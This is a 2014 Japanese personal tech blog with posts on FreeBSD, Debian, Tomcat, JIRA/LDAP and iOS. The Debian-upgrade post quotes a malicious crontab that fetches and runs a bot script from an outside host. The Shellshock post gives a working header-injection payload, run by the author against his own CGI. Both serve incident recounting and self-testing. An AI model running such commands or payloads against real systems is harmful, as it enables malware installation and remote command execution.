Dec 07, 2014

10パズルを解くiアプリ作成

10パズルとは、与えられた4桁の数字に任意の四則演算子及び括弧を加えて10にする、割と有名な遊びである。電車の切符を買うと大抵4桁の通し番号が書いてあるので、高校生の時に友達に教えてもらって以来、切符を買う度によくやっていて、40代の今でも、たまに切符を買うとついやってしまう。

最近、2日連続で、解けそうなのに解けない番号に当たった。6287と5773であった。
気になって気になって、家に帰ってからWebで検索しても答えは見つからず、後日プログラムを作ってやっと発見できた。

今後は電車で長時間もやっとした気分を引きずらなくて済むよう、いつも持ち歩いているDoCoMoのfeature phoneに、プログラムを仕込んでおくことにした。

・10パズルソルバーのダウンロードURL
 http://ynomura.dip.jp/java/TenPuzzle/Download.html

・サンプル画像

・使い方
数字ボタンで4桁の数字を入力し、「答えを探す」ボタンを押します。

・補足
このゲームは4桁の数字の余白に+−×÷()のいずれかを挿入するだけのものである、という筆者のポリシーにより、数字の並び替えには対応していません。
先頭に「−」を置くことを許すかどうかと、2つの数字を繋げて2桁の数字とするのを許すかどうかは、議論があり(先頭の「−」は四則演算でないことと、4つの数字の演算にこだわるかどうか)、許す方がマイナーな気がしましたので、それぞれをOFFにするチェックボタンを用意しています。

See more ...

Posted at 21:19 in PC一般 | WriteBacks (0)
WriteBacks

10パズルを解くiアプリ作成

10パズルとは、与えられた4つの数字に任意の四則演算子及び括弧を加えて10にする、割と有名な遊びである。電車の切符を買うと大抵4桁の通し番号が書いてあるので、高校生の時に友達に教えてもらって以来、切符を買う度によくやっていて、40代の今でも、たまに切符を買うとついやってしまう。

最近、2日連続で、解けそうなのに解けない番号に当たった。6287と5773であった。
気になって気になって、家に帰ってからWebで検索しても答えは見つからず、後日プログラムを作ってやっと発見できた。

今後は電車で長時間もやっとした気分を引きずらなくて済むよう、いつも持ち歩いているDoCoMoのfeature phoneに、プログラムを仕込んでおくことにした。

・10パズルソルバーのダウンロードURL
 http://ynomura.dip.jp/java/TenPuzzle/Download.html

・サンプル画像

・使い方
数字ボタンで4桁の数字を入力し、「答えを探す」ボタンを押します。

・補足
このゲームは4桁の数字の余白に+−×÷()のいずれかを挿入するだけのものである、という筆者のポリシーにより、数字の並び替えには対応していません。
先頭に「−」を置くことを許すかどうかと、2つの数字を繋げて2桁の数字とするのを許すかどうかは、議論があり(先頭の「−」は四則演算でないことと、4つの数字の演算にこだわるかどうか)、許す方がマイナーな気がしましたので、それぞれをOFFにするチェックボタンを用意しています。

See more ...

Posted at 19:05 in Java | WriteBacks (0)
WriteBacks

Nov 29, 2014

VMWareでのFreeBSD 9.3のX Window環境セットアップ

6月くらいに、JIRAをFreeBSDで動かしてみようと思って、以前と同じ要領で、当時、バージョン番号の末尾が0のものを除いた最新のFreeBSD 9.2をVMWare 5.5にインストールしたが、rxvtで日本語が表示されなくて、苦労することがあった。
結局、それは解決したのだが、その頃にはFreeBSD 9.3が出ており、折角なのでそれをセットアップしようと思い、sysinstallコマンドからPackagesをインストールしようとすると、"Unable to get packages/INDEX file from selected media."というエラーになり、右往左往してしまった。FreeBSD 9.3/10.0からpackagesの管理システムが"pkgng"に変わったことに関係しているらしい。
筆者は近年、FreeBSDの新たなバージョンをインストールする度に、必ず何かにつまずいている。最近の動向にキャッチアップする努力をせずに過去の環境に固執しているのが原因であり、色々情報を漁ればもっと便利な環境が手に入るとは思うのだが、今回も、とりあえず必要だった最低限の情報をまとめる。

●VMWareにてFreeBSD 9.3のX Window立ち上げまでにやったこと

  1. FreeBSD 9.3をインストール後、コマンドラインからパッケージをインストール
    pkg install open-vm-tools xf86-video-vmware xf86-input-vmmouse xorg-minimal
  2. /etc/rc.confに以下を追加して再起動
    hald_enable="YES"
    dbus_enable="YES"
    vmware_guest_vmblock_enable="YES"
    vmware_guest_vmhgfs_enable="YES"
    vmware_guest_vmmemctl_enable="YES"
    vmware_guest_vmxnet_enable="YES"
    vmware_guestd_enable="YES"
    ※再起動しなくても
    foreach s (hald dbus vmware-kmod vmware-guestd)
    service $s start
    end
    とすれば良いのだが、起動時にそれらが自動的に起動されることを確認するために再起動した。
  3. /usr/local/etc/hal/fdi/policy/x11-input.fdi を以下の内容で作成し、service hald restart
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <deviceinfo version="0.2">
     <device>
      <match key="info.capabilities" contains="input.keyboard">
       <merge key="input.x11_options.XkbRules" type="string">xorg</merge>
       <merge key="input.x11_options.XkbModel" type="string">jp106</merge>
       <merge key="input.x11_options.XkbLayout" type="string">jp</merge>
       <merge key="input.x11_options.XkbOptions" type="strlist">terminate:ctrl_alt_bksp</merge>
       <append key="input.x11_options.XkbOptions" type="strlist">ctrl:nocaps</append>
      </match>
     </device>
    </deviceinfo>
    
    参考:/usr/local/share/hal/fdi/policy/10osvendor/10-x11-input.fdi
    反映を確認するには、lshalを実行する
  4. /etc/X11/xorg.confの作成
    Xorg -configure
    /root/xorg.conf.newを開き、Depth 24の所に
    Modes "1024x768"
    を追加してデフォルトの解像度を変更し、
    mv /root/xorg.conf.new /etc/X11/xorg.conf
  5. /etc/hostsにhostnameを127.0.0.1として追加
    (無いと、xauthがbad display name "...:1"というエラーになる)
  6. テスト実行
    上の組み合わせではxtermやtwmがインストールされないので、いずれ必要になりそうな、代わりのものをインストールする
    pkg install rxvt-unicode
    pkg install open-motif # mwmを含む
    ~/.xinitrcを次の内容で作成し、startx
    nohup vmware-user-suid-wrapper 2>&1 > /dev/null &
    mwm &
    exec urxvt
  • 日本語キーボード対応になってること
  • マウスカーソルがシームレスに動くこと
  • Windowsとクリップボードを共有できること
  • Ctrl+Alt+Backspaceが効くこと
  • Caps Lockは効かないこと
を確認

なお、FreeBSD 9.2のPackagesでopen-vm-toolsをインストールするとvmware-toolboxコマンドがインストールされたのだが、9.3でpkgngでインストールすると、vmware-toolboxコマンドが見当たらない。
しかし、仮想ディスクのshrinkくらいにしか使ってないし、それも

vmware-toolbox-cmd disk shrink /
とすればできるので、それほど困らない。

なお、open-vm-toolsのファイル共有機能は、kernel panicになることが知られているが、筆者の環境でも確かにkernel panicになったので、諦めてSambaをインストールした。

【12/30追記】
この記事を書いた当時は、このようにfdiファイルを用意すれば日本語キーボード(jp106)の設定になっていたのだが、今日、pkg upgradeすると、これでは日本語キーボードにならなくなった。
原因はよくわからないが、とりあえず

setxkbmap -layout jp -model jp106
とすると日本語キーボードになるようなので、これを~/.xinitrcに書けば良さそうである。

●Xorgの日本語環境のセットアップ

まず、日本語フォントであるが、

pkg install ja-font-std
とすると、大体足りる。しかし、筆者はxlsfontsとやってcourierとかlucidaとかtimesとかが出て来ないと不安だったり、rk24の大ファンだったりするので、
pkg install xorg-fonts
ともする。

urxvt(rxvt-unicode)で日本語を表示するには、

setenv LANG ja_JP.UTF-8
又は、bashの場合や.xinitrcに書く場合は
export LANG=ja_JP.UTF-8
とした後に、urxvtを起動すれば良い。urxvt起動後に行うのは無効である。

urxvtのフォントを変更するには、引数-fnで指定するか、Xリソースにて指定する。
例えば、このようにする。

urxvt -fn rk24 &
XFTのフォント名も使用可能である。XFTのフォント名一覧はfc-listコマンドで取得できる。
urxvt -fn 'xft:terminal, xft:M+2VM+IPAG' &
urxvt -fn 'xft:IPAGothic:size=12' &
良いのが決まったら、Xリソースに登録する為、~/.Xdefaultsか、xrdbを使っている場合は~/.Xresourcesに書いておく。
urxvt.font: xft:IPAGothic:size=12
なお、こういう書式とか(並べされたフォントが順に検索される)、
urxvt.font: xft:terminal, xft:IPAGothic:size=14
こういう書式もある。
urxvt*font:\
  [codeset=ISO8859]x:-*-*-*,\
  [codeset=JISX0201]x:-*-*-*,\
  [codeset=JISX0208]x:-*-*-*
この辺りの書式は、man urxvt に書かれている。

本記事の冒頭で、rxvtで日本語表示ができないと悩んだのは、以前のFreeBSDにはja-rxvtというpackageがあり、それをインストールするとrxvtで日本語が表示できていたのだが、9.xではja-rxvtが無くなっており、それに気付かずに普通のrxvtを入れていた(元々rxvtは日本語表示ができない)のが原因だった。

なお、ktermは、-kmオプションやXリソースのkanjiModeでeucやsjisやutf-8を指定しないと、ロケールに関係なく、JISコードの日本語テキストしか表示されない。これまであまり意識してなかったのだが、今回はこれを忘れて、ど壷にはまってしまった。
rxvtでもktermでも日本語が表示されないので、フォントかロケールに問題があるのだと思い、あらぬ方向に莫大な時間を使い、無駄にしてしまった。
rxvt/urxvtで日本語が表示されて以来、ktermは必要なくなったが、nkfとかが無くてもShift-JISのテキストファイルが表示されたりするので、使い道はあるのかも知れない。

筆者は過去のある時点からkinput2の設定がうまくできなくなり、それ以降、over-the-topな日本語入力FEPを使わず、X Windowでの漢字変換は全てEmacs+anthy.elで行っていたのだが、今回、ibus-anthyというのを使ってみた。

pkg install ibus-anthy
Xを起動し、ibus-setupすると、次の環境変数を$HOME/.bashrcへ追記しろと出てくるが、bashは使ってないので、.xinitrcに追記する。
export GTK_IM_MODULE=ibus
export XMODIFIERS=@im=ibus
export QT_IM_MODULE=xim
ついでに、次の、ibus-daemonを起動するコマンド等も追記しておく。
export XIM=ibus
export XIM_PROGRAM="ibus-daemon"
export XIM_ARGS="-r --daemonize --xim"
${XIM_PROGRAM} ${XIM_ARGS}
Xを再起動し、再度ibus-setupを起動し、
  • キーボードショートカットにShift+spaceを追加
    (kinput2時代からの定番キーだから。デフォルトの<Super>spaceとはWindowsキー+spaceのことらしい)
  • 「インプットメソッド」として「日本語 - Anthy」と「英語 - English(international AltGr dead keys)」を追加
とすると、Shift+spaceで日本語入力モードと英語入力モードが切り替わるようになる。

さて、FreeBSD 9.2でインストールするとibus-1.4.1だったのだが、9.3ではibus-1.5.5になった。このibus-1.5というのが、すこぶる評判が悪いのだが、筆者も、非常に使いづらいと思った。
まず、上記の、日本語モードと英語モードが切り替え可能な状態にするのに、かなり手間取った。ibus-1.4だと「インプットメソッド」に「日本語 - Anthy」を足すだけで良かったのに、ibus-1.5だと、それだとショートカットキーを押しても英語入力モードに戻らなくなった。
さらに、日本語入力モードにした時に現れる入力バーがバグっている。ibus-1.4だと

こんな感じのバーだが、ibus-1.5だと

こうなる。しかも勝手に消えるので、今が日本語入力モードなのかどうかがわからなくなる。
設定方法を調べようという意欲が削がれるのに十分な悪印象である。
FreeBSD 9.2で使い始めて間もないが、もうibusを触るのが嫌になった。

本格的なデスクトップ環境が必要になるまでは、Emacs+anthy.elで頑張ることにする。

参考リンク 404 Blog Not Found:備忘録 - FreeBSD 10 あれこれ

See more ...

Posted at 19:24 in PC一般 | WriteBacks (0)
WriteBacks

Oct 26, 2014

玄箱HGをwheezyにアップグレード

先日、このサーバーにもShellshockの問題が見つかってbashを作り直したと書いたが、その2日後、サーバーに接続しづらくなっていることに気付いて、見てみるとマルウェアが走っていた。
apacheを動作させるアカウントで、このサーバーにはpnscanをインストールしていない(そんな名前の実行ファイルも存在しない)にもかかわらず、pnscanというポートスキャンのプログラムが走っており、これが接続しにくくしていたようだ。
また、netstatで見ると、知らないIPアドレスのSMTPポートに接続しっ放しになっていた。

そのアカウントのcrontabを見ると、

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/c installed on Sun Oct 12 12:55:19 2014)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh; >/dev/null 2>&1

となっていたので、10/5か10/12に突っ込まれ、10/12に発動したようだ。10/5にはまだこのサーバーにShellshockの問題が存在していたので、そこを突かれたか、pnscanはPOST -dでクラックされるPHPの脆弱性で突っ込まれる事例が多かったようであり、このサーバーではそれも放置していた(php-cgiはインストールしていないので大丈夫と思っていた)ので、そこを突かれたのかも知れない。

ともかく、どこに問題があったのかがわからないので、squeezeの使用を諦めて、wheezyにアップグレードすることにした。

以前にwheezyへのアップグレードに失敗してDebianが再起不能になったので敬遠していたのだが、カーネルを2.6.26以降にさえすれば成功することはわかっていたのである。今回、玄箱HG用のカーネルのコンパイルと起動方法を手取り足取り教えてくださる、unbelievablyに有難いWebページを見つけたので、カーネルの更新に成功し、それによってwheezyへのアップグレードにも成功した。

●squeezeからwheezyへのupgrade手順
・カーネルを2.6.26以降にする
 筆者が実施した手順は後述
・squeezeで最新状態にする
apt-get update
apt-get dist-upgrade
dpkg --audit #エラー状態の表示
・wheezyにupgradeする
/etc/apt/sources.listのsqueezeをwheezy(かstable)に変える
apt-get update
apt-get upgrade #最小アップグレード
apt-get dist-upgrade

筆者の環境では、wheezyへのupgrade後に発生した大きなトラブルは、mod_perl 1.3がSegmentation faultするようになったことくらいである。Perlが5.14になったことによる影響のようだ。
これを修復するのに色々面倒があったので、その過程を記録する。

・mod_perlのMakefile.PLでエラー
apache_1.3.42.tar.gzとmod_perl-1.31.tar.gzを取得して、昔と同じようにmakeすると、Makefile.PLでエラーになった。
昔成功したmod_perl-1.30.tar.gz でも同様だった。
これは、/bin/shをdashじゃなくbashにすると解消した。

これは過去にも経験して、これの為に/bin/shをbashにして、そのままでも良いかと放置して、Shellshockを食らう羽目になったことを、思い出した。

・mod_perlをmakeすると、コンパイルエラーになった
mod_perl-1.31は、Perl 5.14だとコンパイルエラーになることが知られている。
最新のリポジトリでは修正されており、これを

svn co https://svn.apache.org/repos/asf/perl/modperl/branches/1.x
として取得することにより、makeに成功した。

・apacheもコンパイルエラーになった
getlineという関数名が、最近のLinuxで使われるようになって干渉する問題である。
このページに書かれている、

sed -i 's/getline/apache_getline/' src/support/htdigest.c
sed -i 's/getline/apache_getline/' src/support/htpasswd.c
sed -i 's/getline/apache_getline/' src/support/logresolve.c
の3行を実行して解決した。

・CPANでApache::Requestをインストールしようとするとエラーになった

perl -MCPAN -e shell
としてコマンドラインを起動し、
install Apache::Request
とすると、
Couldn't untar ****.tar
Package seems to come without Makefile.PL.
Had problems unarchiving. Please build manually
というエラーになった。ついでに、
install CPAN
も同じエラーになった。
メモリ不足だとこのようになることがあるとの情報があり、実際、perlが大量のRAMとswapを大量に使っており、シェル上で何もやっても数分間無反応だったので、玄箱HGのメモリ不足が原因だと思われる。
CPANを手動インストールし、
perl -MCPAN -e 'install Apache::Request'
とすると、あっさり成功した。

See more ...

WriteBacks

Oct 11, 2014

Shellshockの恐怖

2014/9/24に見つかったとされるbashの欠陥、いわゆるShellshockの話は目にしていたのだが、玄箱HG+Debianで運用中のこのサーバーには関係ないと思っていた。そもそも、Debianのshはbashでなくdashである。

今週、
記者の眼 - 記者は「ShellShock」に触れてみた、そして震え上がった:ITpro
という記事を読んだ。CGIを呼び出せると任意のコマンドが実行できてしまうという。
ふむふむ、なるほど、これは致命的な大穴だ。

試しに、このサーバーに対してもやってみた。上記の記事ではcurlを使っているが、wgetで次のようにしてみた。

wget -U "() { :;}; echo Content-type:text/plain;echo; /bin/uname -a" http://localhost/cgi-bin/test.cgi
・・・!!!
uname -aの結果が返ってきた。
何かの間違いではないか、と祈りつつ、unameをfind /にしてみると、このファイルシステムの全て表示されてしまった。

真っ青になった。

それでやっと思い出した。このサーバーをLennyにupgradeした時に/bin/shがdashになったのだが、それで何かが動かなくなったので、勝手に/bin/shをbashに戻してしまったのである。

とりあえずapacheを止めて、bashをupdateしようとして、apt-get updateしたが、bashが更新されなかった。
このDebianはSqueezeであり、サポートが終了してしまっているのである。
しかし、Squeeze LTS(Long Term Support)というものの存在を見つけたので、このページを参考にして、/etc/apt/sources.listに

deb http://http.debian.net/debian squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian squeeze-lts main contrib non-free
を加えて
apt-get update
apt-get install -t squeeze-lts --only-upgrade bash
しようとした。
しかし、apt-get updateがエラーになってしまった。
squeeze LTSのページを見ると、powerpcはサポートされていなかった。i386やand64でなければwheezyにupgradeすることが推奨される、と書いてある。

このサーバーは、過去にwheezyへのupgradeに頓挫しており、非常に面倒で時間を要することがわかっているのである。
今回の件でセキュリティアップデートの必要性を思い知ったので、wheezy化は近い内に必ず行う決心をしたが、とりあえず、/bin/shをdashに戻して、bashはソースコードと最新のパッチを使ってmakeしたものに置き換えた。

See more ...

WriteBacks

Sep 28, 2014

クリック、クリップ、フリック、フリップ

ここ2年くらいの間に、タッチパネル操作に関して「フリック」という言葉が現れたが、これの意味がぱっとわからない。というか、その表現に違和感があり、ぱっと理解したくない。「フリック入力」は、なぜ「スライド入力」ではいけないのか。

個人的に「フリック」が嫌な理由は、そもそも「フリック」という英単語に馴染みが無いことに加え、コンピューター関係で「クリック」「クリップ」「フリップ」と似たような用語が既に使われており、ややこしいからだ。「ショウガ」「ミョウガ」「ショウブ」とある所に「ミョウブ」が加わったり、「しらこ」「しらす」「たらこ」とある所に「たらす」が加わったり、「ゆるせない」「やるせない」「ゆるぎない」に「やるぎない」が加わったり、「めくる」「めいる」「めくるめく」に「めいるめく」が加わるようなものである。

「クリック」も英単語としては馴染みが無いが、「マウス」と同レベルに広まっている用語として諦めることができる。「クリップ」「フリップ」は英単語として知っている。「フリック」の出現は、ややこしいだけである。
願わくば、「フリック」という用語が廃れることだ。

See more ...

Posted at 21:10 in 雑記 | WriteBacks (0)
WriteBacks

Aug 24, 2014

Tomcat7でWARがwebappsに展開されない

FreeBSD 9.2のpackagesでインストールしたTomcat7を使うと、WARファイルのdeployには成功し、正常に動作するのに、WARが$CATALINA_BASE/webapps/に展開されなかった。
筆者は昔からTomcatを使用しており、conf/server.xmlにunpackWARs="true"と書いてあれば、WARは実行時にwebapps/に展開されるものだと思っていたが、そうならなかったのである。

Webで調べてみると、Tomcat7はappBaseの外にあるWARをappBaseに展開しないと書いてあるページを見つけた。
しかし、FreeBSD 9.3のpkgngでインストールしたTomcat7では、全く同じ設定で、WARがwebapps/に展開されていたので、納得できなかった。

何が違うのだろうと思って、設定ファイルやログをいくら調べても、Tomcatのバージョンは、FreeBSD 9.2のpackagesのは7.0.40、FreeBSD 9.3のpkgngのは7.0.54と僅かに異なる以外には違いは見つけられなかった。
まさかマイナーバージョンが違うくらいで根本的な動作が変わることは無いだろうと思っていたのだが、念の為探してみると、7.0.12〜7.0.47の間のバージョンだけ、Tomcatの仕様がそのように変わっていたことがわかった。

See more ...

Posted at 21:13 in UNIX | WriteBacks (0)
WriteBacks

Jul 20, 2014

JIRAとOpenLDAPを連携させてみる

JIRAという課題管理システムがシェアを伸ばしてるらしく、興味を持ったので、評価用ライセンスでインストールしてみた。
JIRAのユーザー管理にはLDAPが使えるとのことなので、ついでにOpenLDAPとの接続を試してみたので、その過程を記録する。

使用環境
OS: FreeBSD 9.2
packages: OpenJDK6, Tomcat6, openldap-server
JIRA version: 5.2.11

●slapd.confの設定
・inetOrgPerson, posixAccountクラス用のincludeを追加

include /usr/local/etc/openldap/schema/cosine.schema
include /usr/local/etc/openldap/schema/inetorgperson.schema
include /usr/local/etc/openldap/schema/nis.schema

・ベースDN設定

suffix "dc=raffine,dc=moriguchi,dc=jp"

ldapsearch等のコマンドの利便のため、ldap.confのBASEも同じにしておくと良い。

・ルートDN(特権DN)設定

rootdn "cn=Manager,dc=raffine,dc=moriguchi,dc=jp"
rootpw {SSHA}s/98X4C3ex/vtSrL3wzP0CyRub2ZdYoL

暗号化パスワード文字列は、slappasswdで作成できる。

●基本コンテナの作成
以下の内容を、init.ldifとして保存する。

dn: dc=raffine,dc=moriguchi,dc=jp
objectClass: dcObject
objectClass: organization
o: Raffine Moriguchi
dc: raffine

dn: cn=Manager,dc=raffine,dc=moriguchi,dc=jp
objectClass: organizationalRole
cn: Manager

dn: ou=People,dc=raffine,dc=moriguchi,dc=jp
objectClass: organizationalUnit
ou: People

dn: ou=Group,dc=raffine,dc=moriguchi,dc=jp
objectClass: organizationalUnit
ou: Group

次に、ldapaddコマンドで実行する。

ldapadd -x -D "cn=Manager,dc=raffine,dc=moriguchi,dc=jp" -W -f init.ldif

パスワードが覗かれたりシェルのヒストリーに残っても良ければ、"-W"を"-w (password)"としても良い。

●ユーザー情報の登録
以下をuser01.ldifとして保存し、ldapaddで実行

dn: cn=user01,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: inetOrgPerson
cn: user01
sn: User No.01
mail: user01@localhost
userPassword: user01

dn: cn=user02,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: inetOrgPerson
cn: user02
sn: User No.02
mail: user02@localhost
userPassword: user02

dn: cn=jira-users,ou=group,dc=raffine,dc=moriguchi,dc=jp
objectClass: groupOfUniqueNames
cn: jira-users
uniqueMember: cn=user01,ou=people,dc=raffine,dc=moriguchi,dc=jp
uniqueMember: cn=user02,ou=people,dc=raffine,dc=moriguchi,dc=jp

●JIRAへのディレクトリー追加
1. システム管理メニューの"Users"→"User Directories"の画面で"Add Directory"ボタンを押し、Directory TypeとしてLDAPを選択
2. Configure画面にて以下のように設定し、"Save and Test"ボタン押下
Name: LDAP server 1
Directory Type: OpenLDAPを選択
Hostname: localhost
Username: cn=Manager,dc=raffine,dc=moriguchi,dc=jp
Password: (ルートDNのパスワード)
Base DN: dc=raffine,dc=moriguchi,dc=jp
3. "Test basic connection: Succeeded"と表示されているのを確認し、再バインド用に、"For extended testing ..."の所で 
User name: user01
として"Test Settings"ボタン押下
4. システム管理メニューの"Users"→"User Directories"の画面でuser01とuser02が追加されていること、Groupがjira-usersであることを確認

●ユーザー情報の追加
以下をuser03.ldifとして保存し、ldapaddで実行

dn: cn=user03,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: inetOrgPerson
cn: user03
sn: User No.03
mail: user03@localhost
userPassword: user03

dn: cn=user04,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: inetOrgPerson
cn: user04
sn: User No.04
mail: user04@localhost
userPassword: user04

以下をuser03m.ldifとして保存し、ldapmodifyで実行

dn: cn=jira-users,ou=group,dc=raffine,dc=moriguchi,dc=jp
add: uniqueMember
uniqueMember: cn=user03,ou=people,dc=raffine,dc=moriguchi,dc=jp
uniqueMember: cn=user04,ou=people,dc=raffine,dc=moriguchi,dc=jp

ldapmodify -x -D "cn=Manager,dc=raffine,dc=moriguchi,dc=jp" -W -f user03m.ldif

●JIRAでの確認
"User Directory"画面で"LDAP server 1"の"Synchronize"をクリックし、
"User"画面でuser03やuser04が追加されていることを確認

●ユーザー情報の登録(Posix Schemaのテスト用)
以下をuser11.ldifとして保存し、ldapaddで実行

dn: uid=user11,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: posixAccount
objectClass: inetOrgPerson
cn: user11
uid: user11
uidNumber: 10011
gidNumber: 10918
homeDirectory: /home/user11
userPassword: user11
mail: user11@localhost
sn: User No.11

dn: uid=user12,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: posixAccount
objectClass: inetOrgPerson
cn: user12
uid: user12
uidNumber: 10012
gidNumber: 10918
homeDirectory: /home/user12
userPassword: user12
mail: user12@localhost
sn: User No.12

#dn: cn=jira-users,ou=group,dc=raffine,dc=moriguchi,dc=jp
#is already used by the above groupOfUniqueName object.
dn: gidNumber=10918,ou=group,dc=raffine,dc=moriguchi,dc=jp
objectClass: posixGroup
description: the default group in JIRA
gidNumber: 10918
cn: jira-users
memberUid: user11
memberUid: user12


posixAccountは補助型なので、他に何か構造型が必要であるが、その構造型としてinetOrgPersonを選んだのは、mail属性を使用するため。
posixGroupオブジェクトのRDNは"cn=jira-users"とするのが普通だと思うが、user01.ldifの例で既に使ってしまっており、それと共存させたので、gidNumberをRDNに用いた。
ou=PosixGroupというサブグループを作って、その下に置くのがbetterだと思うが、手を抜いた。
なお、10918としたのは、A=1, B=2とするとJ=10, I=9, R=18だから。

●JIRAへのディレクトリー追加(Posix Schema)
1. システム管理メニューの"Users"→"User Directories"の画面で、
"LDAP server 1"の"Disable"をクリック(※理由は後述)し、
"Add Directory"ボタンを押し、Directory TypeとしてLDAPを選択
2. Configure画面にて以下のように設定し、"Save and Test"ボタン押下
Name: LDAP server 2
Directory Type: OpenLDAP (Read-Only Posix Schema)
Hostname: localhost
Username: cn=Manager,dc=raffine,dc=moriguchi,dc=jp
Password: (ルートDNのパスワード)
Base DN: dc=raffine,dc=moriguchi,dc=jp
3. "Test basic connection: Succeeded"と表示されているのを確認し、再バインド用に、"For extended testing ..."の所で 
User name: user11
として"Test Settings"ボタン押下
4. システム管理メニューの"Users"→"User Directories"の画面でuser11とuser12が追加されていること、Groupがjira-usersであることを確認

※Configure画面のGroup Schema Settingsセクションを開くと
Group Object Class: groupOfUniqueNames
となっているが、これを特に"posixGroup"に修正しなくても、posixGroupクラスのオブジェクトからグループ情報が取得されるようである。

●"LDAP server 1"と"LDAP server 2"の共存のための設定
ここまでの状態で"LDAP server 1"を有効にすると、use11やuser12がinetOrgPersonクラスである為、"LDAP server 1"から取得されてしまい、"LDAP server 2"のuser11やuser12が無効になり、posixGroupオブジェクトによるグループ設定も無効になり、user11やuser12がグループ無しになってしまう。
これをJIRA側で解決する方法は、2つほど考えられる。
(a) "LDAP server 2"を"LDAP server 1"より優先する
 "User Directories"の画面でディレクトリーの参照順序を入れ替えるだけである。
(b) 該当するユーザーが"LDAP server 1"から取得されないようにする
 "LDAP server 1"の"Edit"からConfigure画面に入ると、User Schema SettingsのセクションのUser Object Filterが"(objectClass=inetOrgPerson)"になっているのがユーザーの検索条件で、これを、例えば"(&(objectClass=inetOrgPerson)(!(objectClass=posixAccount)))"とすれば良い。

●ユーザー情報の追加、JIRAでの確認(Posix Schemaのテスト用)
以下をuser13.ldifとして保存し、ldapaddで実行

dn: uid=user13,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: posixAccount
objectClass: inetOrgPerson
cn: user13
uid: user13
uidNumber: 10013
gidNumber: 10918
homeDirectory: /home/user13
userPassword: user13
mail: user13@localhost
sn: User No.13

dn: uid=user14,ou=people,dc=raffine,dc=moriguchi,dc=jp
objectClass: posixAccount
objectClass: inetOrgPerson
cn: user14
uid: user14
uidNumber: 10014
gidNumber: 10918
homeDirectory: /home/user14
userPassword: user14
mail: user14@localhost
sn: User No.14

以下をuser13m.ldifとして保存し、ldapmodifyで実行

dn: gidNumber=10918,ou=group,dc=raffine,dc=moriguchi,dc=jp
add: memberUid
memberUid: user13
memberUid: user14

→"User Directory"画面で"LDAP server 2"の"Synchronize"をクリックし、
 "User"画面でuser13やuser14が追加されていることを確認

See more ...

Posted at 21:10 in UNIX | WriteBacks (0)
WriteBacks

May 18, 2014

iOSのInterfaceBuilderを使ってみる

先日作成したiPhone3GのOpenGLアプリに、簡単なUIを付け加えたので、行った手順を記録する。

●Setupボタンを追加してみる

  1. MainWindow.xibを開く(*1)
    → InterfaceBuilderの画面が開く。
  2. Toolbarを貼り付ける

    → Bar Button Itemが1つ勝手に付けられる
  3. "Item"を何かに変える
    "Item"を選択し、Attributeの画面で、IdentifierをCustomから何かに変えると、いくつかの既定のアイコンや文字列が選べる。
    残念ながら「設定」っぽいアイコンが無いので、今回は"Edit"にしてみた。

    Titleを"Setup"に変えることもできたが、省略した。
  4. コールバックメソッドを宣言する
    GLViewController.hに
    - (IBAction)setup:(UIBarButtonItem *)sender;
    という宣言を追加する。(*2)(*3)
    UIBarButtonItemというクラス名は、Identity Inspectorで調べることができる。
  5. UIとメソッドを関連付ける
    MainWindow.xibを開き、"View Controller"(GLViewControllerクラスに対応している)を選択し、Connections inspectorのsetupの右の○印(outletと呼ばれる)をUIエディター上の"Edit"までドラッグ

    または、UIエディター上で"Edit"を選択し、Ctrlを押しながら"View Controller"までドラッグ
    ドラッグしたら、○印の中に黒丸が付くことを確認する。
  6. コールバックメソッドを定義(実装)する
    とりあえず、ボタンが押されたらログ出力するよう、GLViewController.mに
    - (IBAction)setup:(UIBarButtonItem *)sender
    {
        NSLog(@"GLViewController.setup called.");
    }
    を追加する。

以上でシミュレーター上で実行し、ボタンが押されたらログが出ることを確認した。

(*1)今回使用したテンプレートに、ViewControllerに対応するXIBファイル(GLViewController.xib)が無いので、今回はMainWindowにボタンを追加した。

(*2)GLViewControllerクラスに置くのが最善かは不明。 MainWindow.xibのOwnerはUIApplicationクラスなので、XxxAppDelegateクラスに置くことも考えられるが、IBのコールバックメソッドはUIViewControllerクラスに置かれることが多いので、GLViewControllerクラスを選んだ。

(*3)NIB File(XIB File)のAction Methodは全て

- (IBAction)setup:(id)sender;
この形らしい。(詳しくはHelpで"IB action methods"を検索、idはObjective-Cの基底クラス)

●スピード調整バーを追加してみる

上記の手順で作ったEditボタンの右側が淋しいので、Toolbarの余白に

こういうのを入れてみる。

  1. MainWindow.xibを開き、LabelとSliderとText Fieldを追加

    LabelはToolbarのItemにはならず、Labelを無視して左詰めされてしまうので、Flexible Space Bar Button Itemを置いてスペースを確保する。
    Labelの文字列は"Interval"にし、Sliderの値の範囲は1〜100(フレーム間隔が1ms〜100msの意味)に変更する。
  2. GLViewController.hにメンバー変数とコールバックメソッドの宣言追加
    メンバー変数は、プログラムで変化させる部品について作成する。
    @interface GLViewController : UIViewController <GLViewDelegate>
    {
        IBOutlet UITextField* textField;
        IBOutlet UISlider *slider;
    }
    - (IBAction)slided:(UISlider *)sender;
    - (IBAction)setup:(UIBarButtonItem *)sender;
    
  3. UIとメンバー変数、メソッドを関連付ける
    MainWindow.xibを開き、"View Controller"を選択し、textField, sliderのoutletから部品へドラッグして接続
    slidedのoutletをSliderにドラッグし、Value Changedを選択して接続
  4. GLViewController.mにメソッド定義追加
    - (IBAction)slided:(UISlider *)sender
    {
        /* スライダーに連動してテキストボックスの文字列更新する */
        NSString *text = [[NSString alloc]initWithFormat:@"%d ms", (int)sender.value];
        [textField setText:text];
        [text release];
        /* アニメーション速度を変える */
       [(GLView *)self.view setAnimationInterval:sender.value/1000];
    }
    
    /* 起動時にスライダーの位置を初期値に設定する */
